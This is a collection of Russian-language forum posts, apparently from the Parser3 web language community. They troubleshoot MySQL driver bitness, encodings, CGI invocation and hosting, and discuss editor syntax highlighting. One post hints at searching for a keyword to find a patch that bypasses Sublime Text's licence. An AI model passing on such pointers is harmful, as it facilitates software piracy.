Т.е. в итоге: всегда нужно взять товара по числу cnt_need_max, но первые коробки (назовём их \"важными\") сформировать из cnt_need_min, правильно?"
"77228","[code]@main[]\
$h[\
	$.a[1]\
	$.b[2]\
]\
\
$key[]\
\
$h.$key[empty key]\
\
^h.foreach[k;v]{\
	\"$k\" - $v\
}[, ][/code]\
[i]\"a\" - 1 , \"b\" - 2 , \"\" - empty key[/i]\
\
[code]$h.$undefined[another empty key]\
\
^h.foreach[k;v]{\
	\"$k\" - $v\
}[, ][/code]\
[i]\"a\" - 1 , \"b\" - 2 , \"\" - another empty key[/i]\
\
Да и напрямую можно обращаться:\
$h.$key, $h.$undefined"
"77234","Привет всем. Решил обновить на сервере версию 3.4.1 до 3.4.2 в итоге получил ошибку связанную с libmysqlclient.so...\
в конфиге прописал /usr/local/lib/mysql/libmysqlclient.so использовал и 32 и 64 битную версии (сейчас работает парсер 3.4.1 (compiled on amd64-unknown-freebsd8.0) как посмотреть версию библиотеки не знаю) пробовал разные версии freebsd 6,7,8 и разной разрядности. Получал разные ошибки на 32 битах как правило \
./lib/libparser3mysql.so: unsupported file layout \
./lib/libparser3mysql.so\
на 64 бит 500 Internal Server Error\
заработал драйвер от версии 3.4.1 который стоит сейчас но там нету опции local_infile из-за которой все затевалось... \
Подскажите куда копать..."
"77235","Если у вас клиентская библиотека mysql \"родная\", то есть 64-х битная, то и парсер, и драйвер mysql должны быть 64-х битные.\
\
Что касается версии OS, хорошо бы знать, что у вас выдает uname -a, но судя по версии 3.4.1 вам надо брать 64-х битную версию для FreeBSD 8.\
\
Какая с ней ошибка? Что выдает ldd parser3.cgi, ldd libparser3mysql.so?\
\
И да, можно не обновлять парсер, а обновить только драйвер mysql.\
Если разобраться не получится - шлите ssh доступ на moko@design.ru - посмотрю."
"77236","Доступа по ssh нету, на сервере 64-битный MySQL... 64-битная версия парсера и драйвера выдают\
./lib/libparser3mysql.so: unsupported file layout ./lib/libparser3mysql.so"
"77237","Сообщение говорит о том, что драйвер mysql у вас таки \"не тот\". Попробуйте еще раз списать туда эту версию:\
\
http://www.parser.ru/f/1/download/freebsd8/parser3sql_10_4_freebsd80Rx64_mysql.tar.gz\
\
Ровно эта версия работает на http://parser.ru/ (здесь тоже FreeBSD 8 x64). Если не поможет - ldd / file можно\
вызвать и из .sh скрипта, без ssh доступа. test.sh:\
\
#!/bin/sh\
\
echo \"Content-type: text/plain\"\
echo\
\
ldd lib/libparser3mysql.so\
file lib/libparser3mysql.so\
\
Важно: переводы строк должны быть Unix, положить в cgi-bin, сделать запускаемым."
"77238","Может я идиот с тем драйвером который вы указали вываливается с ошибкой 500 Internal Server Error"
"77239","Ответ от техсапа\
ldd parser3.cgi \
parser3.cgi: \
 libcrypt.so.5 => /lib/libcrypt.so.5 (0x800815000) \
 libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x80092e000) \
 libm.so.5 => /lib/libm.so.5 (0x800b3e000) \
 libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x800c5e000) \
 libc.so.7 => /lib/libc.so.7 (0x800d6c000) \
 \
 \
file lib/libparser3mysql.so \
lib/libparser3mysql.so: ELF 64-bit LSB shared object, x86-64, version 1 (FreeBSD), dynamically linked, stripped \
\
ldd lib/libparser3mysql.so \
lib/libparser3mysql.so: \
 libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x800c00000) \
 libm.so.5 => /lib/libm.so.5 (0x800e10000) \
 libc.so.7 => /lib/libc.so.7 (0x800647000) \
 libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x800f30000)"
"77240","То есть установленные сейчас версии должны нормально запускаться."
"77242","Не работает... При попытке обращения к MySQL вываливается с шибкой 500 в логах апаче Premature end of script headers: parser3.cgi, в cgi-bin parser3.cgi.core весь остальной функционал отрабатывает нормально..."
"77243","Шлите ссылку и ftp доступ на moko@design.ru, посмотрю."
"77244","ОТписал в почту c pbem99@mail.ru"
"77245","Бинарник нашей версии драйвера драйвера подходит для mysql 5.0. В версии 5.1, что стоит у вас на сервере (клиентская библиотека libmysqlclient.so.16 против libmysqlclient.so.15) поменялись размеры структур http://lists.mysql.com/commits/31791. Из-за этого бинарная версия драйвера с сайта не работает. Собрал драйвер на вашем сервере, с ним все в порядке. Ну а у себя мы добавим проверки на версию клиентской библиотеки mysql, чтобы в таких случаях не происходило падения в core."
"77247","Привет всем! Можно ли при помощи ^table::sql{SQL-запрос} получить nameless таблицу? Либо еще каким то способом получить nameless таблицу на основе sql выборки? Необходимо работать с номерами столбцов... Вариант сохранить таблицу в файл и потом загрузить его обратно как nameless не подходит, только избавился от таблиц на диске..."
"77249","[code]SELECT id AS '1', name AS '2', …[/code]\
Но смысл затеи неясен."
"77250","Сайт в utf8, БД в utf8, response:charset=request:charset=utf8. \
Выбираю одну запись из БД - она приходит в utf8.\
В том же самом соединении(!! строка подключения точно не менялась!!), следующим шагом через 500 строк кода и череду функций выбираю список из той же таблицы - он отображается на странице как cp1251, т.е. кракозябрами при дефолтной кодировке. Куда смотреть, что пробовать?"
"77251","Забавно, оказалось, если внутри CONCAT(char_, int_) присутствует числовое поле, MySQL принудительно отдает результат в кодировке базы, а во всех остальных случаях - в кодировке, заданной в строке подключения."
"77252","Взываю к помощи коллективного разума =) Уже сутки бьюсь. \
\
Схема работы куска скрипта такая: \
1) получаем содержимое страницы из интернета через curl.\
2) выбираем оттуда строковыми функциями нужные параметры.\
3) данные параметры вставляем в новый curl-запрос\
4) выведем результаты запроса на веб-страницу. \
\
Вставляю кусок этого кода: \
[code]\
$file1[^curl:load[ \
   $.url[http://test.com/al_photos.php]\
   $.timeout(30) \
   $.post[1]\
   $.postfields[act=choose_photo]\
   $.followlocation[1]\
]] \
\
$htm[$file1.text]\
$htm[^htm.mid(^htm.pos[cur.html5LiteUrl = ']+20)]\
$upload_url[^htm.left(^htm.pos['])]\
\
$file2[^curl:load[ \
   $.url[$upload_url]\
   $.timeout(30) \
   $.post(1)\
   $.postfields[act=check_upload]\
   $.followlocation(1)\
]] \
\
$htm[$file2.text]\
$htm \
[/code]\
\
\
В переменной $upload_url - ссылка, которую я пытаюсь вставить во второй запрос (http://cs305805.test.com/upload.php). \
\
Кусочек кода из страницы которую парсим в первом запросе:\
[code]\
........\
  cur.initHTML5Lite = function() {\
    var max_files = cur.maxFiles - (cur.savedPhotos || []).length;\
    cur.html5LiteUrl = 'http://cs305805.test.com/upload.php';\
    cur.html5LiteVars = {\"act\":\"do_add\",\"aid\":-\
........\
[/code]\
\
\
Суть проблемы:\
\
1) В случае если составить второй CURL запрос, как написано в коде сверху (т.е. отпарсенную ссылку вставить в параметр $.url) - парсер вываливает ошибку: 'load' Couldn't resolve host name [curl.host] [uri=/add_image.html, method=GET, cl=0]\
\
2) Если вставить во второй curl запрос эту же ссылку текстом - все сказочно правильно работает.\
\
3) Если просто вывести отпарсенную ссылку в страницу - она идеально такая же как та текстовая, которую вставляю руками и после которой работает. Можно скопировать и вставить в $.url и заработает. \
\
4) Если сохранить отпарсенную ссылку в файл - она идеально такая же как та текстовая, которую вставляю руками и после которой работает. Можно скопировать из файла и вставить в $.url и заработает. Если загрузить файл в переменную и ее воткнуть в $.url - такая же ошибка что в пункте 1. 'load' Couldn't resolve host name [curl.host] [uri=/add_image.html, method=GET, cl=0]\
\
\
[b]Вопрос - где покопать?[/b]\
\
ps: Если вдруг важно - сайт с которого берем - отдает windows-1251, файл по умолчанию сохраняется в windows-1251. \
Сам скрипт в utf8."
"77254","я уж игрался с таинтом =) только что-то до as-is у меня мысль не дошла. Еще раз спасибо!"
"77255","Добрый день!\
\
На сервере установлено стандартное Московское время. На этом же сервере хранятся БД разных пользователей из разных регионов. Как сделать, чтобы для каждого пользователя можно было поставить свой часовой пояс при записи данных в БД?\
\
Сделали так: в .htaccess прописали \
SetEnv TZ Asia/Yekaterinburg\
\
Но не помогло :("
"77257","Сделали... \
После коннекта сразу делаем ^void:sql{SET TIME ZONE....}"
"77258","Отдыхал, вернулся и вижу нерабочий свой сайт у хостера GoDaddy.\
Ничего не менял(c), parser был примотан через .htaccess\
\
Просто не работает всё, что связано с parser. Картинки - могу, статику прочую - да, напрямую /cgi/parser3.cgi - тоже, вижу Parser/3.4.2 (compiled on x86_64-unknown-linux-gnu) (но код ответа 500, неправильный заголовок ???).\
\
Доступа к конфигу Apache нет, только косвенно через панель можно рулить. ScriptAlias \"зашит\" на /cgi/, который зачем-то в веб-пространстве находится, вот так - /html/cgi/\
\
Было в корневом .htaccess так:\
[code]AddHandler parsed-html phtml\
Action parsed-html /cgi/parser3.cgi\
DirectoryIndex index.phtml\
[/code]\
\
при запросе корня сайта пишет:\
[quote]/: '/html/missing.html' read failed: No such file or directory (2), actual filename '/html/missing.html' [file.missing][/quote]\
\
также ругается на любой прочий ранее работающий скрипт.\
из шелла parser3.cgi не исполняется кстати:\
\
[quote]-bash-3.2$ ./parser3.cgi \
-bash: ./parser3.cgi: cannot execute binary file\
[/quote]\
\
В панели хостинга появилась жесткая привязка расширений к интерпретаторам, типа py -> Python и т.д., свою сделать (на parser3.cgi) не дают. Видимо, причина в этом. Закрутили гайки :)\
\
Сам ScriptAlias работает, тестовый perl исполняется.\
\
Посему два вопроса:\
1) Можно ли как-то обойти это ограничение, ведь как бы запускает parser из /cgi/? пробовал в /cgi/ класть на parser-е тест с начальной строчкой #!/точный/путь/до/parser3.cgi - не помогло, та же ругань что файл не найден.\
\
2) Забыть это всё и сменить хостера, интересен что-то типа VPS или толстый шаред, с большим или неограниченным трафиком в US или в EU, чтобы parser работал и не было таких \"сюрпризов\". Сервер с 6-10К уников в день, каждый \"кушает\" по 35Мб примерно. то есть около терабайта в месяц. Памяти диска в 40-80Гб и 512RAM вполне хватает. Есть у кого на примете хороший хостер подходящий, поделитесь а?"
"77259","/: '/html/missing.html' read failed: No such file or directory (2), actual filename '/html/missing.html' [file.missing]\
\
[file.missing] -- а это разве не парсерное сообщение об ошибке?\
\
\
[quote]py -> Python[/quote]\
\
можно переименовать html в p3 и назначить парсер обработчиком всех файлов с расширением p3 (если есть возможность добавлять свои расширения)"
"77260","[quote]\
Как сделать, чтобы для каждого пользователя можно было поставить свой часовой пояс при записи данных в БД?\
[/quote]\
\
и зачем?"
"77261","Мне кажется, что надо внимательно читать не только сообщения веб-сервера, но и логи apache - там должна быть дополнительная информация. Что не запускается из shell - очень странно, даже интересно, как они такого добились. Как вариант - шелл дается в другую OS (32-х битную), и файлы сайта подмонтированы с вшешнего диска / сети.\
\
Не разберетесь - шлите доступ на moko@design.ru, посмотрю."
"77262","http://www.hetzner.de/hosting/produkte_vserver/vq12 - около 10 евро для нас.\
В комплекте 2ТБ в месяц, после исчерпания скорость зарезается до 10мб, а так 100мб.\
40гб винт и 1024мб рам."
"77263","то лучше брать последние тарифы, на старых встречаются проблемы с изношенными дисками +)."
"77264","Есть файлы:\
1. 1.sh:\
[code]#!/bin/sh\
\
cd /var/www/test/\
/var/www/test/cgi-bin/parser3.cgi /var/www/test/www/index.html[/code]\
2. index.html:\
[code]	$fFile[^file::exec[2.sh;\
		$.PATH_INFO[/var/www/test/www/2.sh]\
	]]\
	$result[$fFile.text][/code]\
3. 2.sh:\
[code]#!/bin/sh\
\
cd /var/www/test/\
/var/www/test/cgi-bin/parser3.cgi /var/www/test/www/1.html[/code]\
4. 1.html:\
@main[]\
[code]	$result[123][/code]\
\
По крону запускается файл 1.sh, который вызовет index.html, затем 2.sh, затем 1.html.\
В итоге надо получить: 123.\
\
На практике значение 123 не приходит, а вместо этого происходит 509 раз запуск [b]index.html[/b].\
Если в index.html прописать:\
[code]	$sTemp[!$fFile.text!=>!$fFile.status!\
]\
	^sTemp.save[append;fFile.txt][/code]\
то в файле будет результат:\
!!=>!254!\
!Content-Type: text/html; charset=WINDOWS-1251\
Content-Length: 0\
\
!=>!0!\
!Content-Type: text/html; charset=WINDOWS-1251\
Content-Length: 0\
\
... и так 509 раз\
Даже запуск вручную 1.sh почему-то приводит к множественному запуску index.html.\
\
В чем ошибка?"
"77265","1. Это httpd ругается, в логах такое же сообщение.\
\
2. Парни реально сделали круто - есть дефолтные интерпретаторы из из списка, можно назначить свое расширение для обработки, но не обработчик. После изменений-добавлений в списках админка жестко переписывает .htaccess в корне веб-пространства, убивая милую мне отступную структуру, все строчки с первой колонки идут без пустых строк, короче, оптимизированная портянка.\
[url=\"http://filecargo.ru/download?8C623DBFDF2995D6\"]pic1[/url] и [url=\"http://filecargo.ru/download?AFE52DA381D82A1D\"]pic2[/url]\
\
Думаю, что это нерешаемо, танцы с обёртками не помогли. Надо прощаться с хостингом."
"77266","Написал обёрток разных для тестов, вот одна например:\
\
[code]#!/usr/bin/perl\
$parser='/var/chroot/home/content/60/9145060/html/cgi/parser3.cgi';\
$script='/var/chroot/home/content/60/9145060/html/test.phtml';\
$dir='/var/chroot/home/content/60/9145060/html';\
chdir(\"$dir\");\
open(PS,\"$parser $script|\") || die \"Failed: $!\\n\";\
while ( <PS> )\
{\
	print \"$_\";\
}[/code]\
\
Из шелла - выдаёт результат, но нет ясное дело переменных окружения httpd.\
из браузера же - нет, только \
[code]Parser/3.4.1 (compiled on i686-pc-linux-gnu)[/code]\
с http-кодом 500\
\
Забавно, что если \"сесть\" на лог \
[code]tail -f parser3.log[/code] \
и написать явный бред в скрипте для провокации ошибки, то ошибку в браузер выдаст немедленно, а лог пишется с задержкой в 10-30 секунд... Явно синхронизирует по сетке неспешно :)\
\
Спасибо за помощь, вывод делаю о смене хостинга, может и можно победить, но непонятно насколько, да и трудозатраты становятся чрезмерными по сравнению с новым VPS-хостингом..."
"77267","Выделенный сервер пока избыточен."
"77268","Там на всех серверах встречаются такие проблемы.\
Если нет сил и желания постоянно мониторить состояние этого дела, то лучше не брать."
"77271","Где их посмотреть?"
"77272","254 -- файл не найден.\
\
а версия парсер-а какая?"
"77273","\"2.sh\" должен быть в директории /var/www/test/www/. Он точно там?\
\
[quote]509 раз[/quote]\
\
вызов 1.sh стоит в crontab раз в минуту? :)\
\
[quote]\
Даже запуск вручную 1.sh почему-то приводит к множественному запуску index.html.[/quote]\
\
Не верю (C)."
"77274","Например так\
[code]#!/bin/sh\
\
cd /var/www/test/\
echo \"run\" >> /var/www/test/log.txt\
/var/www/test/cgi-bin/parser3.cgi /var/www/test/www/index.html[/code]"
"77275","Parser/3.4.1 (compiled on x86_64-unknown-linux-gnu)"
"77276","Для примера я запускаю 1.sh вручную один раз, поэтому index.html должен запускаться тоже один раз.\
Сохранение в файл идет только в нем.\
В итоге получаю файл в заголовками, которые уже привел.\
\
Заголовков получается каждый раз 509.:)\
\
Все 4 файла лежат в одном каталоге:  /var/www/test/"
"77277","если все файлы лежат в /var/www/test/, то почему\
\
/var/www/test/cgi-bin/parser3.cgi /var/www/test/[b]WWW/[/b]index.html?"
"77278","Опечатался в сообщении:\
/var/www/test/cgi-bin/parser3.cgi\
/var/www/test/www/ - все 4 файла в этом каталоге, это корень веб-сайта"
"77279","Добавил в каждом файле .sh логгирование в файл:\
при выполнении 1.sh в лог записалось значение 1 раз\
при выполнении 2.sh в лог записалось значение 508 раз\
\
Получается, что 2.sh запускается много раз, хотя вызов идет только один раз."
"77280","Если для запуска скрипта использовать\
[code]$fFile[^file::exec[[b]./2.sh[/b];[/code]\
как при ручном запуске файла из консоли, то получаю запуск обоих .sh-файлов по 1 разу и ошибку в результате выполнения:\
$fFile.text=Status: 500\
Content-Type: text/plain\
Content-Length: 21\
\
CGI: illegal call (2)\
\
$fFile.status=1"
"77281","А зачем это?"
"77282","Если вызывать $fFile[^file::exec[2.sh]], то получаем\
[code]Status: 500\
Content-Type: text/plain\
Content-Length: 37\
\
CGI: illegal call (missing PATH_INFO)[/code]\
Поэтому определяю переменную окружения, только не знаю, какое значение в ней должно быть."
"77283","Как раз не нужно ничего определять, и парсер не будет считать, что идет вызов в режиме CGI."
"77284","Я же привел ошибку CGI: illegal call (missing PATH_INFO), которая возникает при запуске скрипта без определения PATH_INFO.\
\
Каким образом надо делать запуск скрипта 2.sh?"
"77285","2. index.html:\
[code]$fFile[^file::exec[2.sh]]\
$result[$fFile.text][/code]\
\
3. 2.sh: \
[code]#!/bin/sh\
\
export PARSER_VERSION=\"\";\
/var/www/test/cgi-bin/parser3.cgi /var/www/test/www/1.html[/code]"
"77286","Спасибо, строка \"export PARSER_VERSION=\"\";\" решила проблему."
"77287","На сервере хранятся внутренние системы для организаций. Организации располагаются в разных часовых поясах. Поэтому каждому хочется работать в своем времени."
"77288","Добрый день!\
\
Нет ли такой штуки в природе для parser - жесткой проверки переменных на используемость или отлов применения неинициализированных, глобальных вместо локальных?\
\
Проекты начинают по разуму догонять создателей, отЛаживать всё труднее и труднее, натыкаюсь на неаккуратность при copy/paste свою и товарищей в работе, как вообще правильно и системно учитывать переменные? \
\
Понятно, что классы - это совсем неплохо, но для некоторых задач процедурный метод всё же рулит."
"77289","http://www.parser.ru/news/\
\
\"В конфигурационном методе (@conf[]) класса MAIN можно указать $STRICT-VARS(true), после чего обращение к неинициализированным переменным будет приводить к исключению.\"\
\
Сделан довольно мягкий вариант, но и он усложняет например использование опциональных параметров (их надо перед использованием проверять на ^if(def ...))."
"77290","Точнее не заработало - даже в главном файле auto.p нашлись ошибки, например первая -  $env:SERVER_ADMIN не был выставлен. Есть над чем поработать для порядка."
"77291","В тех случаях, когда пустое значение неопределенной переменной\
удовлетворяет, приходится делать такие замены:\
\
$env:SERVER_ADMIN -> ^if(def $env:SERVER_ADMIN){$env:SERVER_ADMIN}"
"77293","надо многострочный текст превратить в однострочный с разделителем <br>:\
[code]\
$rep[^table::create[nameless]{^#0A	<br>}]\
$lDescription[^apply-taint[optimized-html][$form:Description]]\
\
^db{\
 ... ... \
      ^taint[sql][^lDescription.replace[$rep]]\
 ... \
}\
[/code]\
\
результат\
\
[quote]\
dictionary table 'from' column elements must not be empty\
replace\
[/quote]"
"77296","Здравствуйте!\
Ранее стояла версия парсера Parser/3.3.0 (compiled on i386-unknown-freebsd6.3), сервер обновили до FreeBSD 8.3-i386\
Возник вопрос в обновлении Parser.\
[b]Скопировала[/b]\
1) parser3.cgi - установила права 775\
2) nconvert - установила права 775\
3) lib/libparser3mysql.so (работаю с mysql)\
4) каталог charsets и auto.p\
\
[b]При переходе по ссылке http://домен/cgi-bin/parser3.cgi имеем:[/b]\
Parser/3.4.2 (compiled on i386-unknown-freebsd8.1)\
в логи апача заносится:\
 [Fri Aug 17 14:51:37 2012] [error] [client 46.229.141.144] [Fri Aug 17 14:51:37 2012] [65377] Parser/3.4.2 (compiled on i386-unknown-freebsd8.1) [no request info]\
\
[b]При попытке зайти на сайт http://домен получаю ошибку:[/b]\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, support@masterhost.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
В логи не заносится ничего.\
Очень нужна помощь. Заранее благодарю за ответы."
"77297","В логи parser выдает:\
[Fri Aug 17 15:58:28 2012] [62397] /: 'core.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime] [uri=/, method=GET, cl=0]"
"77298","> 4) каталог charsets и auto.p\
\
Судя по ошибке, вам следует взять auto.p от старого парсера, в нем\
вероятно прописан путь, по которому следует искать core.p."
"77299","Здравствуйте, пытаюсь установить парсер. выдает ошибку /lib/libparser3mysql.so libmysqlclient.so' ./lib/libparser3mysql.so libmysqlclient.so: cannot open shared object file: No such file or directory. Почитав форум я так понял, что для решения в auto.p надо указать путь к libmysqlclient.so, либо закинуть его в папку lib? опять же libmysqlclient.so должен быть какой-то специальный?"
"77300","Все верно. Требование одно: битность Парсера драйвера и библиотеки должна быть одинаковая. Наверняка вам будет удобнее использовать 64-битные версии."
"77301","Странная штука: в опере, хроме все ок, а вот в IE 9.0 $response:location кидает повторно на ту же страницу, причем с данными формы, и только потом куда надо. При этом в базу с формы добавляется 2 раза ... Без уточнения подробностей, может кто-то сталкивался с таким?"
"77302","Все медиумы, как обычно, в отпуске."
"77303","Предполагаю что это <button на котором написано onclick=\"f.submit()\"\
В эксплорере это дает эффект двойного сабмита... Ибо сам <button это input type=submit + еще скриптом...\
\
Надо проверить"
"77304","Смысл дополнительного submit() вручную неясен."
"77308","у провайдера следующий путь /usr/lib/libmysqlclient.so.16. я понимаю, что в auto.p в папке c cgi-bin строку mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so надо заменить на mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/libmysqlclient.so"
"77310","subj. выложен для скачивания в [url=\"http://www.parser.ru/download/utils/\"]соответствующем разделе[/url], в комплекте с парой специально заточенных цветовых схем и инструкцией по установке.\
\
Для тех кто не совсем в теме - очередной клон Textmate для Windows, плюсы и минусы можно описать ёмкой фразой с официального сайта программы - Unlike its developers, [url=\"http://inotai.com/intype/\"]Intype[/url] is fast. Реально быстрый, у меня открывается быстрее чем родной Блокнот, за доли долей секунды. Возможно влияет наличие поддержки многоядерности и на совсем слабых машинках эффект будет не так заметен. Из минусов можно отметить несколько неодекватный цикл разработки - перерыв в два-три года между минорными альфа-версиями - в порядке вещей. Бета, глючит. Будет платным, пока дается пробный ключик на три месяца.\
\
На любителя вобщем, ранее рассматривался мной как серьёзный конкурент [url=\"http://www.parser.ru/forum/?id=75777\"]Sublime Text 2[/url], но сейчас я однозначно склоняюсь в сторону последнего. Кстати скоро появится обновленный бандл и для него, с обещанной светлой темой и контекстно зависимым автокомплитом."
"77311","[quote]Реально быстрый, у меня открывается быстрее чем родной Блокнот, за доли долей секунды.[/quote]\
\
для меня это сомнительный плюс.\
доли секунды или пол секунды (как мой) -- пофиг :)\
другое дело, что у него на первый взгляд лучше подсветка синтаксиса. у используемого мной сейчас NPP она ну очень не нравится.\
\
а вот очень медленная разработка (и отсутствие стабильной версии) и планируемая платность -- для меня существенные минусы."
"77313","NPP я как-то пробовал некоторое время назад, и мне вроде бы тоже не понравился его довольно таки слабый потенциал в плане подсветки синтаксиса. У клонов Textmate этот момент лучше реализован, с вложенными контекстами, полноценными регулярками итд. Обычно от textmate все причендалы подходят as-is, у intype только свой хитрый формат, как json только без запятых, но структура та-же.\
\
А вообще sublime сейчас на заслуженной волне популярности. Правда, в отличии от, открывается оно у меня секунд пять :( но для серьезной работы значения не имеет, а вот для быстрых правок, как просмотрщик в winscp например, уже не очень. Зафиналило недавно, но те у кого совесть воспитанная могут поискать в гугле патчик по ключевому слову theafien."
"77315","Обязательно посмотрю тему.\
\
Нет ли, кстати, инструментов, упрощающих создание своей раскраски?\
Не полноценной темы, а чтобы централизованно настроить свои цвета в рамках темы для языков."
"77316","специальных инструментов вроде как и нет, там по сути тема изначально является такой цветовой настройкой, к примеру в файле подсветки для конкретного языка мы задаем контекст\
[code]<dict>\
	<key>match</key>\
	<string>\\$result\\b(?![-_.:])</string>\
	<key>name</key>\
	<string>variable.language.result.parser3</string>\
</dict>[/code]\
а в файле темы задаем ему цвет, причем он может быть любой, на количество цветов в одной теме физических ограничений нет\
[code]<dict>\
	<key>name</key>\
	<string>Parser3 Result Variable</string>\
	<key>scope</key>\
	<string>variable.language.result.parser3, variable.parameter.result.parser3</string>\
	<key>settings</key>\
	<dict>\
		<key>foreground</key>\
		<string>#FF8000</string>\
	</dict>\
</dict>[/code]\
если вместо variable.language.result.parser3 написать просто variable, то этим цветом будут подсвечиваться все контексты начинающиеся с variable и для всех языков, source.parser3 variable сократит диапазон только до парсерных переменных, итд. Можно посмотреть внутренности P3 Tomorrow Night в архиве с парсерным бандлом, я там особо не парился - взял готовую тему и переопределил цвета для парсера по своему."
"77317","[quote]будут подсвечиваться все контексты начинающиеся с variable и для всех языков[/quote]\
\
А список вот этих контекстов где-нибудь доступен с пояснениями назначения?\
Дабы понимать, что можно декорировать."
"77318","общий принцип описан в инструкции к textmate - [url=\"http://manual.macromates.com/en/language_grammars.html#naming_conventions\"]naming conventions[/url], а по каждому конкретному придется залезать в соответствующий .tmLanguage и разбираться как там всё устроено, ибо бывают нюансы."
"77320","А получится ли реализовать в Sublime Text 2 множественную подсветку, чтобы в файлах ассоциированных с Парсером подсвечивался не только парсерный код, но и HTML, CSS, JS?"
"77321","можно в файле для одного языка подключать файл другого через include, но обычно они не смешиваются а используют специально выделенный для этого контекст, например в подсветке HTML подсвечиваются так же CSS и Javascript, но не везде а только внутри <style> и <script>. Есть мысль отлавливать так match и regex::create и подключать source.regex для раскраски регулярных выражений.\
\
Сам я не смешивал всё в одном файле из концептуальных соображений :) - парсер по большому счету генерирует строку, следовательно и подсвечивать её нужно как строку. Ну и визуального шума меньше. А если мы к примеру генерируем xml и хотелось бы на него повнимательней посмотреть - справа внизу есть переключатель подсветок, на xml можно переключиться в два клика."
"77322","[quote]обычно они не смешиваются а используют специально выделенный для этого контекст, например в подсветке HTML подсвечиваются так же CSS и Javascript, но не везде а только внутри <style> и <script>[/quote]\
\
Я ровно об этом.\
\
[quote]Есть мысль отлавливать так match и regex::create и подключать source.regex для раскраски регулярных выражений.[/quote]\
\
Да, полезно.\
\
[quote]парсер по большому счету генерирует строку, следовательно и подсвечивать её нужно как строку. Ну и визуального шума меньше. А если мы к примеру генерируем xml и хотелось бы на него повнимательней посмотреть - справа внизу есть переключатель подсветок, на xml можно переключиться в два клика[/quote]\
\
Не соглашусь.\
Парсер — язык погружённый в разметку и оная его неотъемлемая часть.\
Считаю, что HTML / XML стоит подсвечивать наравне с конструкциями языка.\
\
Сейчас, при разделении подсветок, жутко неудобно работать с «нативными шаблонами» HTML с конструкциями Парсера.\
Или, например, с включёнными стилями и скриптами в XSLT, но там, всё же, есть контейнер, это к первому вопросу."
"77323","тогда наверное имеет смысл сделать что-то похожее на то как у них сейчас с рельсами реализовано - если выбирать Rails то открывается подгруппа с несколькими вариантами подсветок - HTML (Rails), Javascript (Rails) и так далее. Надо будет глянуть, может ничего замысловатого из себя не представляет в плане реализации.\
\
Подсветка XSL там сейчас совсем убогая, по хорошему надо что-то с ней делать тоже..."
"77324","[quote]тогда наверное имеет смысл сделать что-то похожее на то как у них сейчас с рельсами реализовано - если выбирать Rails то открывается подгруппа с несколькими вариантами подсветок - HTML (Rails), Javascript (Rails) и так далее[/quote]\
\
Это постоянные переключения, неудобно.\
Лучше всего, если подсветки будут работать вместе, не мешая друг другу.\
В UltraEdit так, правда, не знаю как он разбирается с ними.\
\
[quote]Подсветка XSL там сейчас совсем убогая, по хорошему надо что-то с ней делать тоже...[/quote]\
\
Да, расти есть куда."
"77325","[quote]Это постоянные переключения, неудобно.[/quote]\
переключаться не надо будет, если не привязывать подсветку к расширению то на нее придется переключиться один раз, при открытии файла. Если не закрывать вкладку, то sublime запоминает последнюю выбранную для файла подсветку и следующий раз показывает его в ней.\
\
Вобщем думаю попробывать сделать вариант \"HTML(Parser3)\", он покроет html, xml, а если прикрутить к нему хотя бы минимальную адекватную раскраску тегов xsl то даже и для него сойдет. Убиваем кучу зайцов одним ударом."
"77326","Проблема в том, что парсере не понятно когда идет чисто HTML, а когда его смесь.\
Например в php код от html разделен. А тут такая каша может получиться.\
Я все таки предпочитаю переключаться между html и parser подсветкой. И еще в html как уже сказали выше идет подсветка js и css, в итоге можно получить приступ как после просмотра аниме +) (шутка)"
"77327","Не знаю, какие приступы бывают после просмотра аниме, но никакой каши не наблюдаю — https://dl.dropbox.com/u/6795309/img/ultraedit-parser-highlight.png."
"77328","[quote]переключаться не надо будет, если не привязывать подсветку к расширению то на нее придется переключиться один раз, при открытии файла. Если не закрывать вкладку, то sublime запоминает последнюю выбранную для файла подсветку и следующий раз показывает его в ней.[/quote]\
\
Я несколько не о том.\
В файле вперемешку HTML-, CSS-, JS- и парсерный код.\
Это нормально и ничего страшного в этом нет.\
\
Правильно понимаю, что в случае «HTML(Parser3)» будет раскрашиваться только HTML и чтобы увидеть подсвеченным, скажем, CSS, будет нужно переключиться на некий «CSS(Parser3)»?"
"77329","прописал путь. все равно выдает /lib/libparser3mysql.so /usr/lib/libmysqlclient.so.16' ./lib/libparser3mysql.so /usr/lib/libmysqlclient.so.16: cannot open shared object file: No such file or directory. тест пишет: ./lib/libparser3mysql.so /usr/lib/libmysqlclient.so.16 (relative path. checkout is impossible)\
уверены, что указан верный файл?"
"77331","Например у вас парсерный код подсвечивается одним цветом, из которого не выделяются скобки, знаки $. А символ > успешно подсвечивается как HTML.\
\
По поводу аниме http://ru.wikipedia.org/wiki/Dennou_Senshi_Porygon#.D0.92.D1.8B.D1.85.D0.BE.D0.B4_.D0.B2_.D1.8D.D1.84.D0.B8.D1.80"
"77332","Как тут подсветить HTML при этом, разделить парсер от хтмл, я не знаю (. Хотя я может использую не совсем подходящий стиль программирования\
https://dl.dropbox.com/u/12466727/sm2_parser.png"
"77333","Выдает такую ошибку select * from oct_services_news_items order by date desc limit 0 , ' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 8 [sql.execute]. подскажите как можно исправить эту ошибку? куда копать? переношу сайт с 32 битной на 64 битную систему"
"77334","спасибо"
"77335","Надо править запросы. В данном случае попробуйте написать date в обратных кавычках: order by `date`desc."
"77336","Думаю взять за основу нативную подсветку HTML и попробовать переделать её так чтобы оно подсвечивало и парсерные конструкции. Следовательно по всему файлу будет подсвечиваться HTML и Парсер, а CSS и JS только в отведенных для них <style> и <script> (ну и внутри них парсер конечно тоже). \
\
По умолчанию для .p файлов останется старая концептуальная подсветка, но при желании и необходимости всегда можно будет переключиться на новый режим.\
\
Попутно появится возможность раскрасить некоторые теги другими цветами, как в homesite, мне очень этого нехватает %)"
"77337","Всё собирался свою раскраску для XSLT сделать, текущая в Tomorrow Night простенькая, конечно."
